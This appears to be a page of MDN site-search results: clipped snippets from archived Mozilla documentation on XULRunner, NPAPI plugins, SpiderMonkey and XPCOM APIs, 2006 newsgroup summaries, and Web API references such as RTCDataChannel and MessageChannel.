... taking advantage of the core code "openurl" from "nscommandlineservicemac.cpp", you'll see that it looks for "browser.chromeurl" before defaulting to navigator.xul, and this is called when an xulrunner app is already running, so: create a default preference of "browser.chromeurl" that points to your new "hiddenwindow" as such: "chrome://myxul/content/hiddenwindow.xul" next take the code below and drop it in, to create the hiddenwindow.xul (note: the debug function and nsicommandline try/catch can be removed, all you need is the window.arguments[0]) <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="myxul_hidden" windowtype="myxul:hiddenwindow" title="" width="0" height="0" persist="screenx screeny width heig...
...And 2 more matches
XULRunner - Archive of obsolete content
xulrunner is a mozilla runtime package that can be used to bootstrap xul+xpcom applications that are as rich as firefox and thunderbird.
... it provides mechanisms for installing, upgrading, and uninstalling these applications.
... xulrunner also provides libxul, a solution which allows the embedding of mozilla technologies in other projects and products.
...And 2 more matches
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 6, 2006 - october 13, 2006 announcements firefox vista compatible and versioning heads up robert strong describes the compatibility between windows vista and firefox, also about the versioning change.
...(no responses as of yet) selected tab looks too close to unselected tab discussion about how to change the colour of a selected tab and an unselected tab.
...(user feels print belongs on the context menu along with back, reload, etc.) questions about programming for firefox a student questions how to create an extension that changes fonts, and how to capture website content before it is displayed.
...And 2 more matches
2006-10-20 - Archive of obsolete content
jesper kristensen pointed the requester here change download action for .rdp files on windows and os x a question regarding enabling firefox to associate .rdp files with microsoft remote desktop client so that the correct application opens the files automatically.
...also a debate about which browser is "beating" which to a lesser extent further in the discussion.
... how to create firefox extension (chrome) to add images next to urls ?
...And 2 more matches
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.builds - september 30th to october 6th 2006 tb mozilla_1_8_branch build problem on mac os x (10.4.7, universal build) ludwig hügelschäfer stated that he has been encountering an error when he executes a "make export" operation on thunderbird (part of the mozilla_1_8_branch) since september 15th.
... ../../dist/host/bin/host_xpidl -m header -w -i~mozilla/xpcom/base -i../../dist/idl -o _xpidlgen/nsiconsolelistener ~/mozilla/xpcom/base/nsiconsolelistener.idl gmake[2]: *** [_xpidlgen/nsiconsolelistener.h] bus error gmake[2]: *** deleting file `_xpidlgen/nsiconsolelistener.h' gmake[1]: *** [export] error 2 make: *** [all] error 2:: on octorber 4th ludwig hügelschäfer responded to his original post with the solution to his own problem.
... ludwig hügelschäfer response to the posting.
...And 2 more matches
2006-11-17 - Archive of obsolete content
however he has been unsuccessful and gets the following errors: checking for gtk - version >= 1.2.0...
... no could not run gtk test program, checking why...
...paul reed announced that: there was a power outage at his office and the machines, which are responsible for running autoconf (configure.in -> configure), located in his office failed to boot up after power was restored.
...And 2 more matches
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.l10n - november 17, 2006 announcements seamonkey 1.1b in russian (ru-ru) seamonkey 1.1b in russian (ru-ru) is uploaded to ftp.mozilla.org seamonkey 1.0.6 in russian (ru-ru) seamonkey 1.0.6 in russian (ru-ru) is uploaded to ftp.mozilla.org seamonkey 1.0.6 in czech (cs-cz) seamonkey 1.0.6 in czech (cs-cz) is uploaded to ftp.mozilla.org seamonkey 1.0.6 he-il seamonkey 1.0.6 he-il is released.
... seamonkey 1.0.6 in french seamonkey 1.0.6 in french (fr-fr) is released.
... discussions how to translate mozilla to a language called quiché how to translate mozilla to a language called quiché.
...And 2 more matches
NPN_PluginThreadAsyncCall - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary thread safe way to request that the browser calls a plug-in function on the browser or plugin thread (the thread on which the plug-in was initiated).
... description causes asynchronous execution of the specified function pointer on the "plug-in thread", passing in the specified user data pointer when it is called.
... the "plug-in thread" is the thread hosting the plug-in, which may be either the browser's main thread or the plug-in process if the plug-in is being executed out-of-process.
...And 2 more matches
NPWindow - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary contains information about the target into which the plug-in instance can draw.
... uint32_t height; nprect cliprect; /* clipping rectangle coordinates */ #ifdef xp_unix void * ws_info; /* platform-dependent additional data */ #endif /* xp_unix */ npwindowtype type; /* window or drawable target */ } npwindow; fields the data structure has the following fields: window platform-specific handle to a native window element in the netscape window hierarchy on windows (hwnd) and unix (x window id).
...mac os: cliprect is the rectangle in port coordinates to which the plug-in should clip its drawing.
...And 2 more matches
NP_GetMIMEDescription - Archive of obsolete content
each mime type description should be separated by a semicolon (;).
... each mime type description contains the mime type, an extensions list and a short description.
... one mime type // example inside http://mxr.mozilla.org/mozilla-central/source/modules/plugin/sdk/samples/basic/unix/plugin.cpp #define mime_type_description "application/basic-plugin:bsp:basic example plug-in for mozilla" const char* np_getmimedescription(void) { return(mime_types_description); } two mime types const char* np_getmimedescription(void) { return "application/basic-example-plugin:xmp1:example 1;application/basic-example2-plugin:xmp2, xm2p:example 2"; } gnome integration if you use gnome vfs (gnome-vfs-2.0), you can get the mime type description with a function.
...And 2 more matches
title - Archive of obsolete content
it is used to specify thetitle of a <channel>, an <image>, an <item>, or a <textinput>.
... note: in userland's rss 0.91 there is a 100 character maximum limit.
... netscape rss 0.91 revision 3 example <?xml version="1.0"?> <!doctype rss system "http://my.netscape.com/publish/formats/rss-0.91.dtd"> <rss version="0.91"> <channel> <title>advogato</title> <link>http://www.advogato.org/article/</link> <description>recent advogato articles</description> <language>en-us</language> <image> <link>http://www.advogato.org/</link> <title>advogato</title> <url>http://www.advogato.org/image/tinyadvogato.png</url> </image> <item> <title>why can i not get any tang?!</title> <link>http://www.advogato.org/article/10101.html</link> <description>seriously.
...And 2 more matches
Using Web Standards in your Web Pages - Archive of obsolete content
the problem lies with designers and developers chained to the browser-quirk-oriented markup of the 1990s-often because they don't realize it is possible to support current standards while accommodating old browsers." -web standards project this article provides an overview of the process for upgrading the content of your web pages to conform to the world wide web consortium (w3c) web standards.
... the other sections address dom and dhtml coding practices which are at odds with the w3c web standards and suggest replacements.
... the next-to-last section, summary of changes, outlines all the changes described in this article.
...And 2 more matches
Date.prototype.toLocaleFormat() - Archive of obsolete content
however, ordering of the day and month and other localization tasks are not handled automatically since you have control over the order in which they occur.
... extension and xulrunner developers should know that just loading the format string from a .dtd or .properties file using a chrome://somedomain/locale/somefile.ext uri should be avoided, as the .dtd/.properties file and the tolocaleformat() method does not not necessarily use the same locale, which could result in odd looking or even ambiguous or unreadable dates.
... also note that the behavior of the used locale depends on the platform, and the user might customize the locale used, so using the system locale the choose the format string might in some cases not even be adequate.
...And 2 more matches
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
this page needs to be updated to reflect current changes.
... a channel for feedback on ecmascript standards is es-discuss.
...sers) regexp lookbehind assertions (not yet implemented; in other browsers) regexp unicode property escapes (not yet implemented; in other browsers) regexp named capture groups (not yet implemented; in other browsers) ecmascript 2019 array.flat() (firefox 62) array.flatmap() (firefox 62) object.fromentries() (firefox 63) string.trimstart() and string.trimend() (firefox 61) optional catch binding (firefox 58) function.tostring() revision (firefox 54) symbol.description (firefox 63) well-formed json.stringify() (firefox 64) ecmascript 2020 this is the current es.next version.
...And 2 more matches
Debug.msTraceAsyncCallbackCompleted - Archive of obsolete content
the debug.mstraceasynccallbackcompleted function indicates that an asynchronous operation has completed.
... syntax debug.mstraceasynccallbackcompleted() parameters asyncoperationid the id associated with the asynchronous operation.
... status optional the status of the asynchronous operation.
...And 2 more matches
Debug.msUpdateAsyncCallbackRelation - Archive of obsolete content
the debug.msupdateasynccallbackrelation function updates the relationship status between a synchronous work item and the associated asynchronous operation.
... syntax debug.msupdateasynccallbackrelation(relatedasyncoperationid, relationtype) parameters relatedasyncoperationid the id associated with the asynchronous operation.
... remarks the synchronous work item is typically the callback function for the asynchronous operation.
...And 2 more matches
New in JavaScript 1.8 - Archive of obsolete content
the following is a changelog for javascript 1.8.
...the features that do not introduce new keywords (such as generator expressions) can be used without specifying the javascript version.
...allowing you to simply create generators (which were introduced in javascript 1.7).
...And 2 more matches
ECMAScript 2015 support in Mozilla - Archive of obsolete content
a channel for feedback on ecmascript standards is es-discuss.
...l() (firefox 31) array.prototype.find(), array.prototype.findindex() (firefox 25) array.prototype.entries(), array.prototype.keys() (firefox 28), array.prototype.values() array.prototype.copywithin() (firefox 32) get array[@@species] (firefox 48) new map and set objects, and their weak counterparts map (firefox 13) map iteration with for...of (firefox 17) map.prototype.foreach() (firefox 25) map.prototype.entries() (firefox 20) map.prototype.keys() (firefox 20) map.prototype.values() constructor argument: new map(null) (firefox 37) monkey-patched set() in constructor (firefox 37) get map[@@species] (firefox 41) set (firefox 13) set iteration with for...of (firefox 17) set.prototype.foreach() (firefox 25) set.prototype.entries(), ...
...set.prototype.keys(), set.prototype.values() (firefox 24) constructor argument: new set(null) (firefox 37) monkey-patched add() in constructor (firefox 37) get set[@@species] (firefox 41) weakmap (firefox 6) weakmap.clear() (firefox 20) optional iterable argument in weakmap constructor (firefox 36) constructor argument: new weakmap(null) (firefox 37) monkey-patched set() in constructor (firefox 37) weakset (firefox 34) constructor argument: new weakset(null) (firefox 37) monkey-patched add() in constructor (firefox 37) new math functions math.imul() (firefox 20) math.clz32() (firefox 31) math.fround() (firefox 26) math.log10(), math.log2(), math.log1p(), math.expm1(), math.cosh(), math.sinh(), math.tanh(), math.acosh(), math.asinh...
...And 2 more matches
JavaArray - Archive of obsolete content
created by any java method which returns an array.
... in javascript 1.4 and later, the componenttype parameter is either a javaclass object representing the type of the array or class object, such as one returned by java.lang.class.forname.
...in addition, the tostring method is inherited from the object object and returns the following value: [object javaarray] you must specify a class object, such as one returned by java.lang.object.forname, for the componenttype parameter of newinstance when you use this method to create an array.
...And 2 more matches
JavaClass - Archive of obsolete content
description a javaclass object is a reference to one of the classes in a java package, such as netscape.javascript.jsobject.
... a javapackage object is a reference to a java package, such as netscape.javascript.
... in javascript, the javapackage and javaclass hierarchy reflect the java package and class hierarchy.
...And 2 more matches
Server-Side JavaScript - Archive of obsolete content
here's a radical idea: use one language to write entire web apps -- the same language which billions of web pages already use, every day.
... sounds obvious, but for at least the first twelve years of the web's evolution, developers have pretty much had to use different languages on the server from those available in the browser, leading to segregated teams, disparate and inconsistent know-how, and plenty of server-side string manipulation gymnastics to generate html or ajax pages.
...but back then, 350 mhz servers were the best you could buy, and mozilla was yet to emerge from the netscape organization to continue to advance the state of web technologies.
...And 2 more matches
XForms Styling - Archive of obsolete content
switches can be styled as tabs.
... triggers use appearance="minimal" to be able to style buttons portability the mozilla xforms extension is one of the few xforms processors which allow for styling of the xforms elements directly, using mostly standard css.
... processors such as chiba create "old-style" html forms from xforms documents, and must be styled accordingly.
...And 2 more matches
XForms Submit Element - Archive of obsolete content
the result of which is all or part of an instance document being sent to a target destination, which could be local or remote (see the spec).
... upon receiving a domactivate event, this form control dispatches a xforms-submit event to the submission element (see the spec) specified in its submission attibute.
... attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control.
...And 2 more matches
Character set - MDN Web Docs Glossary: Definitions of Web-related terms
a character set is an encoding system to let computers know how to recognize character, including letters, numbers, punctuation marks, and whitespace.
... in earlier times, countries developed their own character sets due to their different languages used, such as kanji jis codes (e.g.
... shift-jis, euc-jp, etc.) for japanese, big5 for traditional chinese, and koi8-r for russian.
...And 2 more matches
HTML Cheatsheet - Learn web development
that's the whole purpose of the cheatsheet, to give you some quick accurate ready to use code snippets for common usages.
...it's always possible to totally change the look and feel of a given tag using css so, when using html, take the time to focus on the meaning rather than the appearance.
...they take up only as much width as they need in a page and fit together horizontally like words in a sentence or books shelved side-by-side in a row.all inline elements can be implemented within the <body></body> tags.
...And 2 more matches
Chrome Worker Modules
the preferred way to define and load modules for chrome workers is to use the chrome worker module loader.
...you only need to do it once for each worker, from within the chrome worker itself: importscripts("resource://gre/modules/workers/require.js"); note: although you only need to do this once for each worker, it doesn't hurt if you do it more than once.
... that have been exported // assuming that mymodule.js is installed to resource://gre/modules/mymodule.js let module = require("resource://gre/modules/mymodule.js") foo(module.key); // module.key == "this is public"; // however, secretkey is not exported and cannot be used for the installation of resources, please see the documentation on moz.build (if your code is part of the platform) or on chrome manifests (if your code is part of an add-on).
...And 2 more matches
mozbrowsercaretstatechanged
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowsercaretstatechanged event is fired when the user selects content in a page loaded in a browser <iframe>.
...lectall command is available (true) or not (false.) cancut: a boolean indicating whether the cut command is available (true) or not (false.) cancopy: a boolean indicating whether the copy command is available (true) or not (false.) canpaste: a boolean indicating whether the paste command is available (true) or not (false.) reason a domstring that defines the reason for the state being changed.
...And 2 more matches
mozbrowsericonchange
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowsericonchange event is sent when a new icon (e.g.
... <link rel="icon"> or <link rel="apple-touch-icon">) is available in the browser <iframe>'s content.
...And 2 more matches
Chrome-only API reference
MozillaGeckoChromeAPI
this page lists apis that only run in gecko chrome code (and sometimes in other privileged circumstances).
... note: most of the apis exposed to the web in general are also usable in chrome code: see web apis for a list of these.
...it currently works in (privileged) chrome code on firefox desktop (version 47 and above).chromeworkerif you're developing privileged code, and would like to create a worker that can use js-ctypes to perform calls to native code, you can do so by using chromeworker instead of the standard worker object.
...And 2 more matches
AddonUpdateChecker
the addonupdatechecker is used to download and parse update information for an add-on's update manifest.
... to import the addonupdatechecker, use: components.utils.import("resource://gre/modules/addonupdatechecker.jsm"); method overview updateinfo getcompatibilityupdate(in updateinfo updates[], in string version, in boolean ignorecompatibility, in string appversion, in string platformversion) updateinfo getnewestcompatibleupdate(in updateinfo updates[], in string appversion, in string platformversion) void checkforupdates(in string id, in string type, in string updatekey, string url, in updatechecklistener listener) constants constant description error_timeout the update check timed out.
... methods getcompatibilityupdate() retrieves the best matching compatibility update for the application from a list of available update objects.
...And 2 more matches
FC_GetMechanismInfo
name fc_getmechanisminfo - get information on a particular mechanism.
... syntax ck_rv fc_getmechanisminfo( ck_slot_id slotid, ck_mechanism_type type, ck_mechanism_info_ptr pinfo ); parameters fc_getmechanisminfo takes three parameters: slotid [input] type [input] .
... description fc_getmechanisminfo obtains information about a particular mechanism possibly supported by a token.
...And 2 more matches
FC_GetMechanismList
name fc_getmechanismlist - get a list of mechanism types supported by a token.
... syntax ck_rv fc_getmechanismlist( ck_slot_id slotid, ck_mechanism_type_ptr pmechanismlist, ck_ulong_ptr puscount ); parameters fc_getmechanismlist takes three parameters: slotid [input] pinfo [output] the address of a variable that will receive a pointer to the list of function pointers.
... description fc_getmechanismlist obtains a list of mechanism types supported by a token.
...And 2 more matches
JS_CheckForInterrupt
this article covers features introduced in spidermonkey 45 check for and handle interrupt.
... syntax bool js_checkforinterrupt(jscontext* cx); name type description cx </code>jscontext *<code> the context.
... description js_checkforinterrupt checks for the interrupt, and handle it if it's pending.
...And 2 more matches
JS_ClearDateCaches
this article covers features introduced in spidermonkey 17 clear the cache of calculated local time from each date object.
... syntax void js_cleardatecaches(jscontext *cx); name type description cx jscontext * pointer to a javascript context from which to derive runtime information.
... description js_cleardatecaches clears the cache of calculated local time from each date object.
...And 2 more matches
JS_GetStringChars
syntax jschar * js_getstringchars(jsstring *str); // obsolete since jsapi 1.8.5 const jschar * js_getstringcharsz(jscontext *cx, jsstring *str); // added in spidermonkey 1.8.2, obsolete since jsapi 33 name type description cx jscontext * (in js_getstringcharsz only) a context.
... str jsstring * the string to obtain characters from.
... description js_getstringchars obsolete since javascript 1.8.5 returns a pointer to the first element of an array of jschars.
...And 2 more matches
JS_GetTwoByteExternalStringChars
this article covers features introduced in spidermonkey 38 get the chars of an external string.
... syntax const char16_t * js_gettwobyteexternalstringchars(jsstring *str); name type description str jsstring * a string to get characters.
... description js_gettwobyteexternalstringchars gets the characters of the string, str.
...And 2 more matches
GetChildAtPoint
« nsiaccessible page summary this method returns an accessible child which contains the coordinate at (x, y) in screen pixels.
... nsiaccessible getchildatpoint( in long ax, in long ay ); parameters ax[in] accessible's x-coordinate.ay[out] accessible's y-coordinate.
... return value returns an accessible child at given (x, y) coordinate.
...And 2 more matches
nsIUploadChannel
netwerk/base/public/nsiuploadchannel.idlscriptable a channel may optionally implement this interface if it supports the notion of uploading a data stream.
... the upload stream may only be set prior to the invocation of asyncopen on the channel.
... inherits from: nsisupports last changed in gecko 1.7 method overview void setuploadstream(in nsiinputstream astream, in acstring acontenttype, in long acontentlength); attributes attribute type description uploadstream nsiinputstream get the stream (to be) uploaded by this channel.
...And 2 more matches
nsIWebBrowserChrome2
embedding/browser/webbrowser/nsiwebbrowserchrome2.idlscriptable an extension to nsiwebbrowserchrome.
... 1.0 66 introduced gecko 1.9 inherits from: nsiwebbrowserchrome last changed in gecko 1.9 (firefox 3) method overview void setstatuswithcontext(in unsigned long statustype, in astring statustext, in nsisupports statuscontext); methods setstatuswithcontext() called when the status text in the chrome needs to be updated.
... this method may be called instead of nsiwebbrowserchrome.setstatus().
...And 2 more matches
nsIWebSocketChannel
nsiwebsocketchannel netwerk/protocol/websocket/nsiwebsocketchannel.idlscriptable provides support for websocket channels.
... 1.0 66 introduced gecko 8.0 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: ?????????????????????????????????????.
... to create an instance, use: var websocketchannel = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsiwebsocketchannel); method overview void asyncopen(in nsiuri auri, in acstring aorigin, in nsiwebsocketlistener alistener, in nsisupports acontext); void close(in unsigned short acode, in autf8string areason); void sendbinarymsg(in acstring amsg); void sendmsg(in autf8string amsg); attributes attribute type description extensions acstring sec-websocket-extensions response header value.
...And 2 more matches
Status, Recent Changes, and Plans
i put this section at the top so that checking for recent changes will be easy.
... recent changes to nscomptr most recent first made == and != between an nscomptr and a raw pointer (or a literal 0 or nsnull) work correctly on all compilers.
... made getter_addrefs( nscomptr& ) apply the same type-safety check that the simple assignment forms do.
...And 2 more matches
AudioScheduledSourceNode.stop() - Web APIs
the stop() method on audioscheduledsourcenode schedules a sound to cease playback at the specified time.
... each time you call stop() on the same node, the specified time replaces any previously-scheduled stop time that hasn't occurred yet.
... note: if a scheduled stop time occurs before the node's scheduled start time, the node never starts to play.
...And 2 more matches
getCharacteristics() - Web APIs
the bluetoothgattservice.getcharacteristics() method returns a promise to a list of bluetoothgattcharacteristic instances for a given universally unique identifier (uuid).
... syntax bluetoothgattserviceinstance.getcharacteristics(characteristics).then(function(bluetoothgattcharacteristic[]) { ...
... } ) returns a promise to an array of bluetoothgattcharacteristic instances.
...And 2 more matches
Document.characterSet - Web APIs
the document.characterset read-only property returns the character encoding of the document that it's currently rendered with.
... (a character encoding is a set of characters and how to interpret bytes into those characters.) a “character set” and a “character encoding” are related, but different.
... users can override the developer-specified encoding inside the content-type header or inline like <meta charset="utf-8">, such as with firefox's view → text encoding menu.
...And 2 more matches
Element.matches() - Web APIs
WebAPIElementmatches
the matches() method checks to see if the element would be selected by the provided selectorstring -- in other words -- checks if the element "is" the selector.
... syntax var result = element.matches(selectorstring); parameters selectorstring is a string representing the selector to test.
... example <ul id="birds"> <li>orange-winged parrot</li> <li class="endangered">philippine eagle</li> <li>great white pelican</li> </ul> <script type="text/javascript"> var birds = document.getelementsbytagname('li'); for (var i = 0; i < birds.length; i++) { if (birds[i].matches('.endangered')) { console.log('the ' + birds[i].textcontent + ' is endangered!'); } } </script> this will log "the philippine eagle is endangered!" to the console, since the element has indeed a class attribute with value endangered.
...And 2 more matches
Geolocation.watchPosition() - Web APIs
the geolocation method watchposition() method is used to register a handler function that will be called automatically each time the position of the device changes.
... syntax navigator.geolocation.watchposition(success[, error[, options]]) parameters success a callback function that takes a geolocationposition object as an input parameter.
... options optional an optional positionoptions object that provides configuration options for the location watch.
...And 2 more matches
GlobalEventHandlers.onselectionchange - Web APIs
the onselectionchange property of the globaleventhandlers mixin is an eventhandler that processes selectionchange events.
... the selectionchange event fires when the text selected on a webpage changes.
... syntax object.onselectionchange = functionref; value functionref is a function name or a function expression.
...And 2 more matches
HTMLInputElement: search event - Web APIs
the search event is fired when a search is initiated usinng an <input> element of type="search".
... bubbles yes cancelable no interface event event handler property onsearch there are several ways a search can be initiated, such as by pressing enter while the <input> is focused, or, if the incremental attribute is present, after a ua-defined timeout elapses since the most recent keystroke (with new keystrokes resetting the timeout so the firing of the event is debounced).
... current ua implementations of <input type="search"> have an additional control to clear the field.
...And 2 more matches
HTMLTrackElement: cuechange event - Web APIs
the cuechange event fires when a texttrack has changed the currently displaying cues.
... the event is fired at both the texttrack and at the htmltrackelement in which it's being presented, if any.
... bubbles no cancelable no interface event event handler oncuechange examples on the texttrack you can set up a listener for the cuechange event on a texttrack using the addeventlistener() method: track.addeventlistener('cuechange', function () { let cues = track.activecues; // array of current cues }); or you can just set the oncuechange event handler property: track.oncuechange = function () { let cues = track.activecues; // array of current cues } on the track element the underlying texttrack, indicated by the track property, receives a cuechange event every time the currently-presented cue is changed.
...And 2 more matches
IDBVersionChangeEvent.oldVersion - Web APIs
the oldversion read-only property of the idbversionchangeevent interface returns the old version number of the database.
... syntax var oldversion = idbversionchangeevent.oldversion value a 64-bit integer.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBVersionChangeRequest.setVersion() - Web APIs
the idbversionchangerequest.setversion method updates the version of the database, returning immediately and running a versionchange transaction on the connected database in a separate thread.
... syntax idbversionchangerequest setversion ([treatnullas=emptystring] in domstring version); example tbd parameters version the version to store in the database.
... returns idbversionchangerequest the request to change the version of a database.
...And 2 more matches
firesTouchEvents - Web APIs
the inputdevicecapabilities.firestouchevents read-only property returns a boolean that indicates whether the device dispatches touch events.
... you can use this property to detect mouse events that represent an action that may already have been handled by touch event handlers.
... this doesn't necessarily mean the device is a touch screen.
...And 2 more matches
KeyboardEvent.which - Web APIs
the which read-only property of the keyboardevent interface returns the numeric keycode of the key pressed, or the character code (charcode) for an alphanumeric key pressed.
... syntax var keyresult = event.which; return value keyresult contains the numeric code for a particular key pressed, depending on whether an alphanumeric or non-alphanumeric key was pressed.
... please see keyboardevent.charcode and keyboardevent.keycode for more details.
...And 2 more matches
MediaTrackConstraints.echoCancellation - Web APIs
the mediatrackconstraints dictionary's echocancellation property is a constrainboolean describing the requested or mandatory constraints placed upon the value of the echocancellation constrainable property.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.echocancellation as returned by a call to mediadevices.getsupportedconstraints().
... syntax var constraintsobject = { echocancellation: constraint }; constraintsobject.echocancellation = constraint; value if this value is a simple true or false, the user agent will attempt to obtain media with echo cancellation enabled or disabled as specified, if possible, but will not fail if this can't be done.
...And 2 more matches
MediaTrackSettings.channelCount - Web APIs
the mediatracksettings dictionary's channelcount property is an integer indicating how many audio channel the mediastreamtrack is currently configured to have.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.channelcount property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.channelcount as returned by a call to mediadevices.getsupportedconstraints().
...And 2 more matches
MessageChannel.port1 - Web APIs
the port1 read-only property of the messagechannel interface returns the first port of the message channel — the port attached to the context that originated the channel.
... syntax channel.port1; value a messageport object, the first port of the channel, that is the port attached to the context that originated the channel.
... example in the following code block, you can see a new channel being created using the messagechannel() constructor.
...And 2 more matches
MessageChannel.port2 - Web APIs
the port2 read-only property of the messagechannel interface returns the second port of the message channel — the port attached to the context at the other end of the channel, which the message is initially sent to.
... syntax channel.port2; value a messageport object representing the second port of the channel, the port attached to the context at the other end of the channel.
... example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
...And 2 more matches
NonDocumentTypeChildNode.previousElementSibling - Web APIs
the nondocumenttypechildnode.previouselementsibling read-only property returns the element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list.
...div polyfills polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snippet can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-child-elements.js if(!("previouselementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "previouselementsibling", { get: function(){ var e = this.previoussibling; while(e && 1 !== e.nodetype) e = e.previoussibling; return e; } }); } polyfill for internet explorer 9+ and safari // source: https://github.com/jserz/js_piece/blob/ma...
...ster/dom/nondocumenttypechildnode/previouselementsibling/previouselementsibling.md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('previouselementsibling')) { return; } object.defineproperty(item, 'previouselementsibling', { configurable: true, enumerable: true, get: function () { let el = this; while (el = el.previoussibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'nondocumenttypechildnode.previouselementsibling' in that specification.
...And 2 more matches
PaymentRequest.onmerchantvalidation - Web APIs
the paymentrequest event handler onmerchantvalidation is invoked when the merchantvalidation is fired, indicating that the payment handler (e.g., apple pay) requires the merchant to validate themselves.
... this is usually the first event to be fired, and the user won't be able to proceed with a payment until the merchant validate themselves.
... syntax paymentrequest.onmerchantvalidation = eventhandlerfunction; value an event handler function which is to be called whenever the merchantvalidation event is fired at the paymentrequest, indicating that the payment handler requires the merchant to validate themselves as allowed to use this payment handler.
...And 2 more matches
PerformanceResourceTiming.fetchStart - Web APIs
the fetchstart read-only property represents a timestamp immediately before the browser starts to fetch the resource.
... if there are http redirects the property returns the time immediately before the user agent starts to fetch the final resource in the redirection.
... syntax resource.fetchstart; return value a domhighrestimestamp immediately before the browser starts to fetch the resource.
...And 2 more matches
RTCDataChannel.binaryType - Web APIs
the property binarytype on the rtcdatachannel interface is a domstring which specifies the type of javascript object which should be used to represent binary data received on the rtcdatachannel.
... when a binary message is received on the data channel, the resulting message event's messageevent.data property is an object of the type specified by the binarytype.
... syntax var type = adatachannel.binarytype; adatachannel.binarytype = type; value a domstring that can have one of these values: "blob" received binary messages' contents will be contained in blob objects.
...And 2 more matches
RTCDataChannel.negotiated - Web APIs
the read-only rtcdatachannel property negotiated indicates whether the rtcdatachannel's connection was negotiated by the web app (true) or by the webrtc layer (false).
... see creating a data channel in using webrtc data channels for further information about this property.
... syntax var negotiated = adatachannel.negotiated; value true if the rtcdatachannel's connection was negotiated by the web app itself; false if the negotiation was handled by the webrtc layer.
...And 2 more matches
RTCDataChannel.onclosing - Web APIs
the rtcdatachannel.onclosing property is an eventhandler which specifies a function to be called by the browser when the closing event is received by the rtcdatachannel.
... this is a simple event which indicates that the data channel is being closed, that is, rtcdatachannel transitions to "closing" state.
... for example, after rtcdatachannel.close() was called but the underlying data transport might not have been closed yet.
...And 2 more matches
RTCDataChannel.onopen - Web APIs
the rtcdatachannel.onopen property is an eventhandler which specifies a function to be called when the open event is fired; this is a simple event which is sent when the data channel's underlying data transport—the link over which the rtcdatachannel's messages flow—is established or re-established.
... syntax rtcdatachannel.onopen = function; value a function which the browser will call to handle the open event.
... example this example adds a new data channel to an existing rtcpeerconnection, mypeerconnection.
...And 2 more matches
RTCDataChannel.stream - Web APIs
the deprecated (and never part of the official specification) read-only rtcdatachannel property stream returns an id number (between 0 and 65,535) which uniquely identifies the rtcdatachannel.
... this id is set at the time the data channel is created, either by the user agent (if rtcdatachannel.negotiated is false) or by the site or app script (if negotiated is true).
... this property has been replaced with the rtcdatachannel.id property.
...And 2 more matches
RTCIceTransport.onstatechange - Web APIs
the onstatechange event handler for the rtcicetransport interface is a property which specifies a function to serve as the eventhandler for the statechange event that is fired whenever the transport's state changes.
... syntax rtcicetransport.onstatechange = statechangehandler; value set this property to reference a function you provide that is called by the webrtc layer when the rtcicetransport object's state changes.
... the event handler receives as its sole input an event object describing the statechange event which occurred.
...And 2 more matches
RTCIceTransport: selectedcandidatepairchange event - Web APIs
a selectedcandidatepairchange event is sent to an rtcicetransport when the ice agent selects a new pair of candidates that describe the endpoints of a viable connection.
... the pair of candidates is in turn described by an rtcicecandidatepair object which contains one rtcicecandidate representing the local end of the connection, and another representing the remote end of the connection.
... bubbles no cancelable no interface event event handler property onselectedcandidatepairchange examples this example creates an event handler for selectedcandidatepairchange that updates a display providing the user information about the progress of the ice negotiation for an rtcpeerconnection called pc.
...And 2 more matches
RTCPeerConnection: datachannel event - Web APIs
a datachannel event is sent to an rtcpeerconnection instance when an rtcdatachannel has been added to the connection, as a result of the remote peer calling rtcpeerconnection.createdatachannel().
... note: this event is not dispatched when the local end of the connection creates the channel.
... bubbles no cancelable no interface rtcdatachannelevent event handler property ondatachannel examples this example sets up a function that handles datachannel events by gathering the information needed to communicate with the newly added rtcdatachannel and by adding event handlers for the events that occur on that channel.
...And 2 more matches
RTCPeerConnection.onconnectionstatechange - Web APIs
the rtcpeerconnection.onconnectionstatechange property specifies an eventhandler which is called to handle the connectionstatechange event when it occurs on an instance of rtcpeerconnection.
... this happens whenever the aggregate state of the connection changes.
... syntax rtcpeerconnection.onconnectionstatechange = eventhandler; value a function which is called by the browser when the connectionstatechange event occurs on the rtcpeerconnection.
...And 2 more matches
RTCRtpSynchronizationSource - Web APIs
the rtcrtpsynchronizationsource dictionary of the the webrtc api is used by getsynchronizationsources() to describe a particular synchronization source (ssrc).
... a synchronization source is a single source that shares timing and sequence number space.
... since rtcrtpsynchronizationsource implements rtcrtpcontributingsource, its properties are also available.
...And 2 more matches
Screen.onorientationchange - Web APIs
warning: this is a non-standard deprecated feature which was implemented only in firefox under a different name.
... use screenorientation.onchange instead.
... an event handler for the orientationchange events sent to the screen object.
...And 2 more matches
SourceBuffer.changeType() - Web APIs
the changetype() method of the sourcebuffer interface sets the mime type that future calls to appendbuffer() should expect the new media data to conform to.
... this makes it possible to change codecs or container type mid-stream.
... one scenario in which this is helpful is to support adapting the media source to changing bandwidth availability, by transitioning from one codec to another as resource constraints change.
...And 2 more matches
